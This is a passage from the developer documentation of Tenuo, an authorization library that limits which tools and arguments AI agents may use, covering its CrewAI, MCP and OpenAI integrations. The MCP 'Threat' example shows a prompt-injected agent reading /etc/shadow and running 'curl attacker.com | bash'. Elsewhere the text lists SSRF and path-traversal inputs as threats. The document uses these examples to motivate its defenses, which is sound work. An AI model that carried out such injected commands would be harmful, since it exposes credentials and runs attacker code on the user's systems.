role="Researcher", goal="Find relevant papers on arxiv", tools=[search_tool, read_tool], ) writer = Agent( role="Writer", goal="Summarize research findings", tools=[summarize_tool, read_tool], ) research_task = Task( description="Find papers on 'language model safety'", agent=researcher, ) writing_task = Task( description="Summarize the findings", agent=writer, ) crew = Crew( agents=[researcher, writer], tasks=[research_task, writing_task], process=Process.sequential, ) # result = crew.kickoff() # researcher_guard.unregister() # writer_guard.unregister() ``` --- ## Migration Strategy Moving from unprotected CrewAI to Tenuo GuardedCrew: 1. **Audit Phase**: Configure `GuardedCrew` with `.on_denial("log")`. Run your existing agents and capture the audit logs. 2. **Policy Generation**: Map the audit logs to agent roles. Identify which tools are actually used by each agent. 3. **Constraint Hardening**: Replace `Wildcard()` with `Pattern` or `Subpath` based on observed data (e.g., if agent only reads `/tmp`, restrict to `/tmp`). 4. **Enforcement**: Switch to `.on_denial("raise")` and enable `.strict()` to prevent future drift. ## Performance Considerations - **Tier 1 (Guardrails):** Pure regex/string matching — not the bottleneck on any realistic agent workload. - **Tier 2 (Warrants):** Verification is local and offline — no runtime network call, no shared database. See [Performance Benchmarks](./api-reference#performance-benchmarks) for measured timings. - **Audit Logging:** The `audit_callback` is synchronous. For high-throughput production, use a non-blocking logger (e.g., `logging` with a queue handler) to avoid stalling the agent thread. --- ## Production Deployment Checklist Before deploying CrewAI agents with Tenuo protection: ### Security Review - [ ] **Tier 2 Enabled:** Application uses Warrants + Signing Keys for all production crews. - [ ] **Hooks Registered:** Guards use `guard.register()` or explicitly register the callable returned by `as_hook()` for framework-level enforcement. Both use global hooks; `as_hook()` does not provide crew isolation. - [ ] **Least Privilege:** Each agent has specific allowed tools (no `*` patterns unless necessary). - [ ] **Delegation Depth:** Max delegation depth configured (via `chain_scope`) to prevent infinite chains. ### Decision Matrix | Feature | Dev / Prototype | Production | |---------|----------------|------------| | Tier | Tier 1 (Guardrails) | Tier 2 (Warrants) | | Denial Mode | "log" or "raise" | "raise" (Fail Closed) | | Constraints | Loose (Wildcards) | Strict (Specific Patterns) | | Hook Scope | Global (`register()`) | Crew-scoped (`as_hook()`) or Global | ### Monitoring & Operations - [ ] **Audit Logging:** `audit_callback` configured and shipping logs to SIEM/storage. - [ ] **Alerting:** Alerts set for `EscalationAttempt`, `InvalidPoP`, and `WarrantExpired`. - [ ] **Key Rotation:** Plan for rotating Signing Keys. --- ## Troubleshooting ### Common Issues **Q: Agent keeps retrying the same denied tool call.** A: Pass a clear failure message back to the agent. "raise" mode throws an exception which CrewAI catches and feeds back to the LLM. If using "log", ensure you return `DenialResult` content to the agent. **Q: `UnlistedArgument` error even for valid arguments.** A: Tenuo enforces "closed-world". You must list **all** expected arguments in `GuardBuilder.allow()`, or use `arg=Wildcard()` to exempt specific ones. **Q: PoP verification fails (`InvalidPoP`).** A: Ensure the `SigningKey` used to sign the warrant matches the `holder` public key in the warrant. **Q: `AttributeError: ... has no attribute 'func'`** A: Ensure you are wrapping a standard CrewAI `Tool`. If using custom classes, they should inherit from `crewai.tools.BaseTool` or expose a `.func` / `._run` method. ### Debugging Guide 1. **Enable Strict Mode:** `GuardedCrew(...).strict()` will surface lurking unguarded calls. 2. **Audit Logs:** Use `.audit(print)` to see exactly what Tenuo sees. 3. **Introspection:** Print `guard.explain("tool_name", {"arg": "val"})` to dry-run authorization logic. --- ## See Also - [GuardedCrew Example](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-python/examples/crewai/guarded_crew.py) - Policy-based protection - [Flow Example](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-python/examples/crewai/guarded_flow.py) - Guarded steps in CrewAI Flows - [OpenAI Integration](./openai) - Tool protection for OpenAI - [LangGraph Integration](./langgraph) - Multi-agent graph security - [Constraints Reference](./constraints) - All constraint types - [Security Model](./security) - Threat model, best practices --- # MCP Integration Source: https://tenuo.ai/mcp Tenuo provides full Model Context Protocol (MCP) integration with cryptographic authorization, both **client-side** (protecting outgoing tool calls) and **server-side** (verifying warrants inside tool handlers). --- ## Why Tenuo for MCP? MCP exposes powerful capabilities — filesystem, database, code execution — to AI agents. Without guardrails, a prompt-injected agent has the same access as the human who launched it. ### The Threat ``` User: "Summarize /data/reports/q1.csv" Agent (prompt-injected mid-task): → read_file("/etc/shadow") ← credential theft → write_file("/data/reports/q1.csv", "malicious content") → execute_code("curl attacker.com | bash") ``` ### With Tenuo The warrant constrains what the agent can do, regardless of what the LLM decides: ``` Warrant grants: read_file(path=/data/reports/*) TTL=5min Agent (prompt-injected): → read_file("/etc/shadow") ✗ DENIED — path not under /data/reports/ → write_file(...) ✗ DENIED — tool not in warrant → read_file("/data/reports/q1.csv") ✓ AUTHORIZED — path matches, PoP valid, TTL active ``` The agent only reaches tools and arguments the warrant allows. Even if the LLM is fully compromised, the blast radius is bounded. ### OAuth vs Warrants MCP's native auth (OAuth) answers: **WHO is calling?** Tenuo answers: **WHAT can they do right now?** | Aspect | OAuth Token | Tenuo Warrant | |--------|-------------|---------------| | **Scope granularity** | Coarse (`files:read`) | Fine (`read_file(path=/data/x/*)`) | | **Proof-of-Possession** | Optional (DPoP) | Mandatory | | **Delegation** | No native chaining | Cryptographic attenuation chains | | **Verification** | Requires introspection/JWKS | Stateless, self-contained | OAuth tells you *who* is authenticated. Warrants constrain *what* they can do *with which arguments*. --- ## Prerequisites ```bash uv pip install "tenuo[mcp]" # Official MCP SDK + client/server helpers (Python ≥3.10) uv pip install "tenuo[fastmcp]" # Adds FastMCP (for TenuoMiddleware and @mcp.tool() examples) ``` For the full LangChain + MCP example: ```bash uv pip install "tenuo[langchain,mcp]" ``` --- ## Quick Start: 5-Minute End-to-End This walkthrough creates a protected MCP server and client, demonstrates authorization succeeding and failing, and shows the full flow. ### Step 1: Create a Protected Server ```python # server.py from fastmcp import FastMCP from tenuo import Authorizer, PublicKey from tenuo.mcp import MCPVerifier, TenuoMiddleware import os, sys pub_hex = os.environ.get("TENUO_ISSUER_PUB", "") if not pub_hex: print("Set TENUO_ISSUER_PUB to the hex-encoded issuer public key", file=sys.stderr) sys.exit(1) authorizer = Authorizer(trusted_roots=[PublicKey.from_bytes(bytes.fromhex(pub_hex))]) verifier = MCPVerifier(authorizer=authorizer, require_warrant=True) mcp = FastMCP("demo", middleware=[TenuoMiddleware(verifier)]) @mcp.tool() async def read_file(path: str) -> str: """Read a file. Tenuo verifies the warrant before this runs.""" return open(path).read() if __name__ == "__main__": mcp.run(transport="stdio") ``` ### Step 2: Call It with a Warrant ```python # client.py import asyncio from tenuo import SigningKey, configure, mint, Capability, Subpath from tenuo.mcp import SecureMCPClient key = SigningKey.generate() configure(issuer_key=key) # Print the public key for the server print("TENUO_ISSUER_PUB=" + bytes(key.public_key_bytes()).hex()) async def main(): async with SecureMCPClient( "python", ["server.py"], inject_warrant=True, env={"TENUO_ISSUER_PUB": bytes(key.public_key_bytes()).hex()}, ) as client: # This succeeds — path is under /data/ async with mint(Capability("read_file", path=Subpath("/data"))): result = await client.tools["read_file"](path="/data/hello.txt") print("✓", result) # This fails — path is outside the warrant async with mint(Capability("read_file", path=Subpath("/data"))): try: await client.tools["read_file"](path="/etc/shadow") except Exception as e: print("✗ DENIED:", e) asyncio.run(main()) ``` ### What Happens on the Wire ``` Client Server │ │ │ 1. mint(Capability("read_file", path=…)) │ │ 2. Sign PoP: sign(key, "read_file", │ │ {"path": "/data/hello.txt"}, now()) │ │ │ │ ─── tools/call ─────────────────────────────►│ │ { │ │ "name": "read_file", │ │ "arguments": {"path": "/data/hello.txt"}, │ │ "_meta": { │ │ "tenuo": { │ │ "warrant": "", │ │ "signature": "" │ │ } │ │ } │ │ } │ │ │ │ 3. TenuoMiddleware runs: │ │ ✓ Warrant signature OK │ │ ✓ Issuer ∈ trusted_roots│ │ ✓ PoP valid for holder │ │ ✓ path ⊆ /data/ │ │ ✓ TTL active │ │ │ │ 4. Tool handler executes │ │ ◄─── result ────────────────────────────────│ ``` Tool arguments are never modified — warrant metadata travels in `params._meta.tenuo`, the MCP spec's designated extension point. --- ## Integration Patterns ### Pattern 1: FastMCP + TenuoMiddleware (Recommended for Servers) Register `TenuoMiddleware` on your FastMCP server. Every `tools/call` is verified before the handler runs. Denied calls return `isError` results with structured diagnostics — your tool code never executes for unauthorized requests. ```python from fastmcp import FastMCP from tenuo import Authorizer, PublicKey, CompiledMcpConfig, McpConfig from tenuo.mcp import MCPVerifier, TenuoMiddleware authorizer = Authorizer(trusted_roots=[PublicKey.from_bytes(root_pub)]) config = CompiledMcpConfig.compile(McpConfig.from_file("mcp-config.yaml")) verifier = MCPVerifier(authorizer=authorizer, config=config) mcp = FastMCP("my-server", middleware=[TenuoMiddleware(verifier)]) @mcp.tool() async def read_file(path: str, maxSize: int = 4096) -> str: """Handler only runs if warrant allows read_file with this path.""" return open(path).read(maxSize) ``` The middleware: - Extracts warrant + PoP from `params._meta.tenuo` or the reserved `arguments._tenuo` - Verifies the warrant chain, signature, constraints, and PoP - Strips the authorization envelope before forwarding to the handler - Returns `-32001` (denied) or `-32002` (approval required) on failure Install the `tenuo[fastmcp]` extra, which pins FastMCP ≥3.2.1 (includes [hardened client parsing](https://github.com/PrefectHQ/fastmcp/pull/3778) of tool error results). ### Pattern 2: SecureMCPClient (Recommended for Clients) Tenuo's own MCP client wraps the MCP SDK with automatic warrant injection, PoP signing, and tool discovery. ```python from tenuo.mcp import SecureMCPClient from tenuo import configure, mint, Capability, Subpath, SigningKey key = SigningKey.generate() configure(issuer_key=key) # Stdio (local subprocess) async with SecureMCPClient("python", ["server.py"], inject_warrant=True) as client: async with mint(Capability("read_file", path=Subpath("/data"))): result = await client.tools["read_file"](path="/data/file.txt") # SSE (remote server, legacy transport) async with SecureMCPClient( url="https://mcp.example.com/sse", transport="sse", inject_warrant=True, ) as client: ... # StreamableHTTP (remote server, current transport) async with SecureMCPClient( url="https://mcp.example.com/mcp", transport="http", headers={"Authorization": "Bearer "}, inject_warrant=True, ) as client: ... # Gateway that drops params._meta (proxy/aggregator compatibility) async with SecureMCPClient( url="https://gateway.example.com/mcp", transport="http", inject_warrant="argument", ) as client: ... ``` `inject_warrant="argument"` places the same envelope in the reserved `_tenuo` tool argument. The PoP covers only the real tool arguments, excluding `_tenuo`. `MCPVerifier` strips the carrier before constraint extraction or tool dispatch and denies the request if `_meta.tenuo` and `_tenuo` are both present but differ. When using `TenuoMiddleware`, no tool signature change is needed. If a decorated tool calls `MCPVerifier` directly, declare `_tenuo: dict | None = None` and pass it into the arguments dict supplied to `verify()`. ### Pattern 3: MCPVerifier (Framework-Agnostic Server) Use `MCPVerifier` directly when you're not using FastMCP — works with the raw MCP SDK or any custom server. ```python from tenuo import Authorizer, PublicKey, CompiledMcpConfig, McpConfig from tenuo.mcp import MCPVerifier authorizer = Authorizer(trusted_roots=[PublicKey.from_bytes(root_pub)]) config = CompiledMcpConfig.compile(McpConfig.from_file("mcp-config.yaml")) verifier = MCPVerifier(authorizer=authorizer, config=config) # In your tool handler: result = verifier.verify("read_file", {"path": path}, meta=request_meta) result.raise_if_denied() execute_tool(result.clean_arguments) # Or use verify_or_raise for a one-liner: clean = verifier.verify_or_raise("read_file", {"path": path}, meta=request_meta) ``` ### Pattern 4: Securing LangChain MCP Adapters If you're already using `langchain-mcp-adapters`, wrap its tools with `guard_tools()`: ```python from langchain_mcp_adapters.client import MultiServerMCPClient from tenuo.langchain import guard_tools async with MultiServerMCPClient({ "fs": {"transport": "stdio", "command": "python", "args": ["server.py"]} }) as client: mcp_tools = await client.get_tools() secure_tools = guard_tools(mcp_tools) # Use secure_tools in your LangChain agent ``` > **Note**: `SecureMCPClient` is Tenuo's own MCP client (Pattern 2). > It is _not_ interchangeable with LangChain's `MultiServerMCPClient`. > Use `guard_tools()` to protect LangChain adapter tools. --- ## Approval Gates Warrants can embed **approval gates** that require human approval before a tool call proceeds. When a gate triggers, the server returns a structured error so clients can collect approvals and retry. ### How It Works ``` Client Server │ call_tool("transfer", ...) │ │──────────────────────────────────►│ │ │ Warrant has approval gate │ ◄── -32002 + request_hash ──────│ for transfer > $10,000 │ │ │ collect_human_approval(...) │ │ │ │ call_tool("transfer", ..., │ │ approvals=[signed_approval]) │ │──────────────────────────────────►│ │ │ ✓ Approval valid │ ◄── result ─────────────────────│ Transfer completes ``` ### Server-Side With `TenuoMiddleware`, approval gates work automatically. The middleware returns `-32002` with `request_hash` in `structuredContent.tenuo`. Without middleware: ```python result = verifier.verify("transfer", arguments, meta=meta) if result.is_approval_required: return {"jsonrpc": "2.0", "id": req_id, "error": result.to_jsonrpc_error()} result.raise_if_denied() execute_tool(result.clean_arguments) ``` ### Client-Side `SecureMCPClient` raises `MCPApprovalRequired` when the server returns `-32002`: ```python from tenuo.mcp import MCPApprovalRequired try: result = await client.call_tool("transfer", {"amount": 5000, "recipient": "acme"}) except MCPApprovalRequired as e: approval = collect_human_approval(e) # app-specific UI flow result = await client.call_tool( "transfer", {"amount": 5000, "recipient": "acme"}, approvals=[approval], ) ``` ### JSON-RPC Error Codes | Code | Meaning | `error.data` | Action | |------|---------|--------------|--------| | `-32602` | Invalid params (missing required extraction field) | — | Fix arguments | | `-32001` | Access denied (constraint, expired, bad PoP, invalid approval) | — | Fix warrant or args | | `-32002` | Approval retry (gate fired **or** insufficient multi-sig) | `request_hash` and/or `got` / `need` | Collect `SignedApproval`(s), re-submit with `_meta.tenuo.approvals` | Both first-call gate hits and partial multi-sig use `-32002` so clients can share one retry branch. Distinguish partial multi-sig by presence of `got` / `need`. See [Human Approvals](approvals.md#signals-by-integration). --- ## MCP Configuration Define how to extract constraints from MCP tool call arguments. > This configuration defines **extraction**, not **policy**. It tells Tenuo where to find the arguments in the JSON-RPC call. The actual limits (which paths are allowed, what ranges are valid) are defined in the Warrant. See [Argument Extraction](./constraints#argument-extraction) for a deep dive. ### Extraction Sources MCP tool calls provide an `arguments` JSON object. Use: - **`from: body`** - Extract from arguments (recommended) - **`from: literal`** - Use default value **Don't use**: `from: path`, `from: query`, `from: header` (HTTP-only) ### Example Configuration ```yaml # mcp-config.yaml version: "1" tools: read_file: description: "Read files from the filesystem" constraints: path: from: body path: "path" required: true max_size: from: body path: "maxSize" type: integer default: 1048576 database_query: description: "Execute database queries" constraints: table: from: body path: "query.table" required: true operation: from: body path: "query.operation" required: true allowed_values: ["select", "insert", "update", "delete"] row_limit: from: body path: "query.limit" type: integer default: 100 ``` ### Automatic Extraction When using `SecureMCPClient(config_path="...", register_config=True)`, extraction happens automatically during tool calls. ### Manual Extraction If not using `SecureMCPClient`, extract constraints yourself: ```python compiled = CompiledMcpConfig.compile(McpConfig.from_file("mcp-config.yaml")) result = compiled.extract_constraints("read_file", arguments) # result.constraints: {"path": "/var/log/app.log", "max_size": 524288} ``` ### Nested Paths and Wildcards ```yaml constraints: table: from: body path: "query.table" # Extracts arguments.query.table item_ids: from: body path: "items.*.id" # Extracts all item IDs (returns list) ``` Wildcard extraction returns a list. Use compatible constraints: `OneOf`, `NotOneOf`, or `CEL`. --- ## Warrant Propagation To enable end-to-end authorization where the server verifies the warrant, set `inject_warrant=True`: ```python async with SecureMCPClient(..., inject_warrant=True) as client: await client.tools["read_file"](path="/tmp/test.txt") ``` Tenuo sends warrant metadata via `params._meta.tenuo`: ```json { "name": "read_file", "arguments": {"path": "/data/file.txt"}, "_meta": { "tenuo": { "warrant": "", "signature": "", "approvals": ["", ...] } } } ``` The `warrant` field accepts either a single base64-encoded warrant (for root warrants issued directly by a trusted root) or a **WarrantStack** — the full delegation chain encoded as a CBOR array. See [Multi-Agent Delegation](#advanced-multi-agent-delegation) below. For gateways that strip `_meta`, set `inject_warrant="argument"`. This sends the envelope as the reserved `arguments._tenuo` field instead. The server removes `_tenuo` before verification and dispatch, and the PoP covers the tool arguments without that field. --- ## Security Best Practices ### 1. Use Short TTLs MCP tools are often high-risk (filesystem, database). Use short TTLs: ```python warrant = (Warrant.mint_builder() .capability("read_file", path=Subpath("/var/log")) .holder(key.public_key) .ttl(300) # 5 minutes .mint(key)) ``` ### 2. Narrow Constraints ```python # Too broad — agent can read anything constraints = {"path": Wildcard()} # Specific — agent can only read under /var/log constraints = {"path": Subpath("/var/log")} ``` ### 3. Validate Configuration ```python compiled = CompiledMcpConfig.compile(config) warnings = compiled.validate() for warning in warnings: print(warning) ``` ### 4. Payload Size Limits (DoS Prevention) `MCPVerifier` enforces size limits on incoming `_meta.tenuo` payloads before decoding: | Field | Limit | |-------|-------| | `warrant` (base64) | 64 KB | | `signature` (base64) | 4 KB | | Each `approvals[]` entry | 8 KB | | `approvals` count | 64 | Oversized payloads are rejected with `-32602` (invalid params). Override the module-level constants in `tenuo.mcp.server` if needed. --- ## Error Handling MCP integration uses typed `TenuoError` exceptions with canonical wire codes: ```python from tenuo.exceptions import ( TenuoError, ToolNotAuthorized, ConstraintViolation, ConfigurationError, ) try: result = await client.call_tool("read_file", {"path": "/etc/passwd"}) except ConstraintViolation as e: print(f"Constraint failed: {e}") print(f"Wire code: {e.get_wire_code()}") # 1501 except ConfigurationError as e: print(f"Config error: {e}") except TenuoError as e: print(f"Authorization failed: {e.to_dict()}") ``` ### Common Errors | Error | Wire Code | Cause | Fix | |-------|-----------|-------|-----| | `ToolNotAuthorized` | 1500 | Tool not in warrant | Add tool to warrant | | `ConstraintViolation` | 1501 | Argument violates constraint | Request within bounds | | `ConfigurationError` | 1201 | Not connected / extraction failed | Use `async with` or check config | | `ExpiredError` | 1300 | TTL exceeded | Request fresh warrant | See [wire format specification](./spec/wire-format-v1#appendix-a-error-code-reference) for the complete list. --- ## Troubleshooting ### Extraction Errors **Problem**: `ExtractionError: field 'path' not found` **Solution**: Check MCP arguments match config: ```python # Config expects: path: "path" # MCP call must have: arguments = {"path": "/var/log/app.log"} ``` ### Authorization Denied **Problem**: `AuthorizationDenied: path is not contained in allowed directory` **Solution**: Check warrant constraints match extracted values: ```python # Warrant allows: constraints = {"path": Subpath("/var/log")} # MCP call sends: arguments = {"path": "/etc/passwd"} # Not under /var/log — denied # Fix: narrow the call or broaden the warrant ``` ### Type Mismatches **Problem**: `TypeError: expected integer, got string` **Solution**: Specify type in config: ```yaml max_size: from: body path: "maxSize" type: integer # ← Add this ``` --- ## Advanced: Multi-Agent Delegation Delegation produces a **chain** of warrants — each child is cryptographically linked to its parent via `parent_hash = SHA-256(parent.payload)`. The child can only **narrow** the parent's scope (tools, constraints, TTL), never widen it; Rust enforces this at creation time. ```python from tenuo import ( SigningKey, Warrant, Subpath, Authorizer, encode_warrant_stack, decode_warrant_stack_base64, ) control_key = SigningKey.generate() # issuer / control plane orchestrator_key = SigningKey.generate() # orchestrator agent worker_key = SigningKey.generate() # worker agent # 1. Control plane mints root warrant for orchestrator root_warrant = (Warrant.mint_builder() .capability("read_file", path=Subpath("/data")) .capability("database_query", table=Subpath("/data")) .holder(orchestrator_key.public_key) .ttl(3600) .mint(control_key)) # 2. Orchestrator attenuates for worker (read-only, narrower path) worker_warrant = (root_warrant.grant_builder() .capability("read_file", path=Subpath("/data/reports")) .holder(worker_key.public_key) .ttl(1800) .grant(orchestrator_key)) # orchestrator signs (proves they hold parent) # 3. Worker sends the full chain as a WarrantStack chain = [root_warrant, worker_warrant] stack_b64 = encode_warrant_stack(chain) # single base64 blob # 4. Server verifies the full chain authorizer = Authorizer(trusted_roots=[control_key.public_key]) decoded = decode_warrant_stack_base64(stack_b64) import time pop = worker_warrant.sign(worker_key, "read_file", {"path": "/data/reports/q1.csv"}, int(time.time())) authorizer.check_chain( decoded, "read_file", {"path": "/data/reports/q1.csv"}, signature=bytes(pop), ) # ✓ root.issuer ∈ trusted_roots # ✓ worker.issuer == root.holder (delegation authority) # ✓ worker.parent_hash == SHA-256(root.payload) # ✓ worker capabilities ⊆ root capabilities # ✓ PoP valid for worker_key ``` On the wire, the worker sends `stack_b64` in `_meta.tenuo.warrant`. `Authorizer.check_chain` verifies the entire path from root to leaf in one call. > **Important:** An orphaned child warrant (sent without its parent chain) will be rejected — the server cannot verify the delegation path. Always send the full `WarrantStack` containing every warrant from root to leaf. **Client-side with `chain_scope`:** When using `SecureMCPClient` with `inject_warrant=True`, set the parent chain via `chain_scope` so the client encodes the full `WarrantStack` automatically: ```python from tenuo import chain_scope, warrant_scope, key_scope with chain_scope([root_warrant]): with warrant_scope(worker_warrant): with key_scope(worker_key): result = await client.tools["read_file"](path="/data/reports/q1.csv") ``` --- ## Advanced: Manual Authorization For fine-grained control or Python < 3.10, you can manually define constraints and authorize calls without `SecureMCPClient` or `MCPVerifier`. ```python from tenuo import McpConfig, CompiledMcpConfig, Authorizer, SigningKey, Warrant, Subpath, Range # 1. Load MCP configuration config = McpConfig.from_file("mcp-config.yaml") compiled = CompiledMcpConfig.compile(config) # 2. Create warrant control_key = SigningKey.generate() warrant = (Warrant.mint_builder() .capability("read_file", path=Subpath("/var/log"), max_size=Range.max_value(1024 * 1024)) .holder(control_key.public_key) .ttl(3600) .mint(control_key)) # 3. Handle MCP tool call mcp_arguments = {"path": "/var/log/app.log", "maxSize": 512 * 1024} # 4. Extract constraints based on config result = compiled.extract_constraints("read_file", mcp_arguments) # 5. Authorize with PoP signature import time pop_sig = warrant.sign(control_key, "read_file", dict(result.constraints), int(time.time())) authorizer = Authorizer(trusted_roots=[control_key.public_key]) authorizer.authorize_one(warrant, "read_file", dict(result.constraints), signature=bytes(pop_sig)) ``` --- ## Scope & Boundaries ### Tenuo Provides - **Secure Client** (`SecureMCPClient`): Wraps the MCP SDK with warrant injection and constraint enforcement. Supports stdio, SSE, and StreamableHTTP transports. - **Server Middleware** (`TenuoMiddleware`): Drop-in FastMCP middleware that verifies every `tools/call` and returns structured denials. - **Server Verification** (`MCPVerifier`): Framework-agnostic warrant verification for MCP server tool handlers. Works with FastMCP, the raw MCP SDK, or any custom server. - **Tool discovery**: Automatic wrapping of discovered tools with enforcement wrappers. - **Warrant propagation**: Injecting warrants (+ approvals) into `params._meta` for end-to-end verification. - **Constraint extraction**: Config-driven extraction from MCP arguments. - **Approval gate flow**: Structured JSON-RPC errors (`-32002`) for approval-gate-protected tools with retry support. ### Tenuo Does NOT Provide - MCP Server Framework: Use [`fastmcp`](https://github.com/jlowin/fastmcp) or the official SDK to build servers. Tenuo's `MCPVerifier` plugs into any framework. - MCP Transport: Tenuo relies on standard transports (stdio, SSE, StreamableHTTP). - Prompt Injection Detection: Tenuo assumes injection will happen. Instead of detecting it, Tenuo fails closed on unauthorized actions — a successful injection can still influence agent reasoning, but cannot invoke tools outside the warrant's scope. --- ## Reference: Common Tool Configurations ### Filesystem ```yaml read_file: constraints: path: from: body path: "path" required: true max_size: from: body path: "maxSize" type: integer default: 1048576 write_file: constraints: path: from: body path: "path" required: true content: from: body path: "content" required: true ``` ### Database ```yaml database_query: constraints: table: from: body path: "query.table" required: true operation: from: body path: "query.operation" required: true allowed_values: ["select", "insert", "update", "delete"] row_limit: from: body path: "query.limit" type: integer default: 100 ``` ### Code Execution ```yaml execute_code: constraints: language: from: body path: "code.language" required: true allowed_values: ["python", "javascript", "bash"] timeout: from: body path: "code.timeout" type: integer default: 30 ``` ### HTTP Requests ```yaml http_request: constraints: url: from: body path: "request.url" required: true method: from: body path: "request.method" required: true allowed_values: ["GET", "POST", "PUT", "DELETE"] ``` --- ## Examples - [`tenuo-python/examples/mcp_server.py`](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-python/examples/mcp_server.py): Server patterns (middleware, raw mode, approval gates, mixed deployment) - [`tenuo-python/examples/mcp_client.py`](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-python/examples/mcp_client.py): Multi-transport client patterns - [`tenuo-python/examples/mcp/`](https://github.com/tenuo-ai/tenuo/tree/main/tenuo-python/examples/mcp): LangChain, CrewAI, A2A, delegation demos --- ## See Also - [API Reference → MCP Integration](./api-reference#mcp-integration) - [Argument Extraction](./constraints#argument-extraction) - [Constraints Guide](./constraints) - [Security Best Practices](./security) - [Wire Format Specification](./spec/wire-format-v1) --- # Tenuo OpenAI Integration Source: https://tenuo.ai/openai ## Overview Tenuo integrates with OpenAI's APIs using a **two-tier** protection model: | Tier | Setup | Best For | |------|-------|----------| | **Tier 1: Guardrails** | Inline constraints | Quick hardening, prototyping, single-process agents | | **Tier 2: Warrants** | Warrant + signing key | Production systems, multi-agent, audit requirements | **Tier 1** catches LLM mistakes and prompt injection with minimal setup. Constraints are defined inline in your code. Good for getting started, but constraints can drift from tool definitions. **Tier 2** adds cryptographic proof. Constraints live in the warrant (issued by a control plane), ensuring they're defined once and enforced everywhere. Required when agents run in separate processes or you need audit trails. > [!IMPORTANT] > **Production Recommendation**: Use **Tier 2** for production deployments. Tier 1 guardrails can be modified or bypassed by anyone with code access, making them unsuitable for environments where insider threats or container compromise are concerns. --- ## Installation ```bash uv pip install tenuo ``` --- ## Which Pattern Should I Use? **Answer these questions:** 1. **Are your tools running in the same process as the LLM client?** - Yes -> Tier 1 (GuardBuilder with inline constraints) - No -> Tier 2 (Warrant + Proof-of-Possession) 2. **Do you need protection against insider threats or code tampering?** - Yes -> Tier 2 (constraints in cryptographic warrant) - No -> Tier 1 is sufficient 3. **Are you using the OpenAI Agents SDK?** - Yes -> Use `create_tier1_guardrail()` or `create_tier2_guardrail()` - No -> Use `guard()` or `GuardBuilder()` **TL;DR:** Start with Tier 1. Move to Tier 2 when you need crypto. --- ## Quick Start ### Tier 1: Guardrails (5 minutes) Use the **builder pattern** for semantic constraints that block attacks: ```python import openai from tenuo.openai import GuardBuilder, Pattern, Subpath client = (GuardBuilder(openai.OpenAI()) .allow("search_web") .allow("read_file", path=Subpath("/data")) .allow("send_email", to=Pattern("*@company.com")) .deny("delete_file") .build()) # Use normally - unauthorized tool calls are blocked response = client.chat.completions.create( model="gpt-4o", messages=[{"role": "user", "content": "Read /data/report.txt"}], tools=[...] ) ``` The builder accepts: - **Strings**: `"search"` - **OpenAI tool dicts**: `{"type": "function", "function": {"name": "search"}}` - **Callables**: `my_search_function` (extracts `__name__`) **Alternative: dict style** (less ergonomic, same functionality): ```python from tenuo.openai import guard, Subpath client = guard( openai.OpenAI(), allow_tools=["search_web", "read_file"], constraints={"read_file": {"path": Subpath("/data")}} ) ``` **Simple allowlist only?** Use `protect()` for basic protection without constraints: ```python from tenuo.openai import protect client = protect(openai.OpenAI(), tools=["search", "read_file"]) ``` **What gets blocked?** - Tools not in allow list - Arguments violating constraints (e.g., `/etc/passwd` blocked by `Subpath("/data")`) - Streaming TOCTOU attacks (buffer-verify-emit) ### Tier 2: Warrants (when you need crypto) ```python from tenuo.openai import GuardBuilder from tenuo import SigningKey, Warrant, Subpath # Agent holds warrant and signing key agent_key = SigningKey.generate() warrant = (Warrant.mint_builder() .capability("read_file", {"path": Subpath("/data")}) .holder(agent_key.public_key) .ttl(3600) .mint(control_plane_key)) # Builder with warrant client = (GuardBuilder(openai.OpenAI()) .with_warrant(warrant, agent_key) .build()) # Each tool call is now cryptographically authorized response = client.chat.completions.create(...) ``` ### Human Approval Define gates and approvers on the warrant, then pass `.on_approval()`. See [Human Approvals](approvals.md) for the full guide. ```python from tenuo.approval import cli_prompt client = (GuardBuilder(openai.OpenAI()) .allow("transfer_funds") .with_warrant(warrant, agent_key) .on_approval(cli_prompt(approver_key=approver_key)) .build()) ``` --- ## Tier 1 Security Model ### What Tier 1 Protects Against **Trust Boundary**: Code access Tier 1 enforces constraints at runtime, protecting against: | Threat | Protection | Example | |--------|------------|---------| | **Prompt Injection** | Strong | Attacker manipulates LLM to call `read_file("/etc/passwd")` - blocked by `Subpath("/data")` | | **LLM Hallucinations** | Strong | Model invents tool call with invalid args - blocked by constraints | | **SSRF Attempts** | Strong | LLM tries `http://169.254.169.254/` - blocked by `UrlSafe()` | | **Path Traversal** | Strong | `../../../etc/passwd` - normalized and blocked by `Subpath` | | **Development Bugs** | Strong | Accidental misconfiguration caught before production | **Key Insight**: Tier 1 is effective because **constraints are outside the LLM's control**. Even if an attacker fully manipulates the prompt, they cannot bypass Python-enforced guardrails. ### What Tier 1 Does NOT Protect Against | Threat | Protection | Why Not | |--------|------------|---------| | **Insider Threats** | None | Developer can modify code to bypass guards | | **Container Compromise** | None | Attacker with code execution can disable guards | | **Tampering** | None | No cryptographic proof of enforcement | | **Multi-Process Delegation** | Limited | Downstream service must trust caller's honesty | **Example Bypass**: ```python # Production code with guard client = guard(openai.OpenAI(), allow_tools=[...]) # Insider threat: Just remove the guard client = openai.OpenAI() # Bypassed ``` ### When to Use Tier 1 **Good for**: - Single-process agents (LLM and tools in same Python runtime) - Trusted execution environment (your laptop, internal servers) - Prototyping and development - Defense against external attackers (via prompt injection) **Not suitable for**: - Untrusted execution environment (shared infrastructure) - Zero-trust security model - Compliance requirements for audit trails - Multi-process systems with untrusted intermediaries ### When to Upgrade to Tier 2 Upgrade when you need: 1. **Cryptographic Proof**: Verifiable evidence of what was authorized 2. **Delegation Chains**: Multi-agent systems where agents delegate to each other 3. **Untrusted Callers**: Cannot trust calling agent to honestly report tool calls 4. **Audit Requirements**: Need non-repudiable logs of authorization decisions **Tier 2 adds**: - Warrant signatures (cryptographic authorization) - Proof-of-Possession (PoP) per tool call - Tamper-evident audit trail - Cross-process verification **Migration is simple**: ```python # Tier 1 client = guard(openai.OpenAI(), allow_tools=[...], constraints={...}) # Tier 2 (add warrant + signing key) client = guard(openai.OpenAI(), warrant=my_warrant, signing_key=agent_key) ``` ### Bottom Line Tier 1 stops prompt injection, LLM hallucinations, and SSRF attacks. It enforces constraints at runtime within a single Python process. Tier 2 adds cryptographic verification for distributed systems and untrusted execution environments. **Choose based on your threat model:** - Single-process, trusted execution: Tier 1 - Multi-process, delegation, or untrusted execution: Tier 2 --- ## Constraints Reuses core Tenuo constraint types: | Type | Example | Matches | |------|---------|---------| | 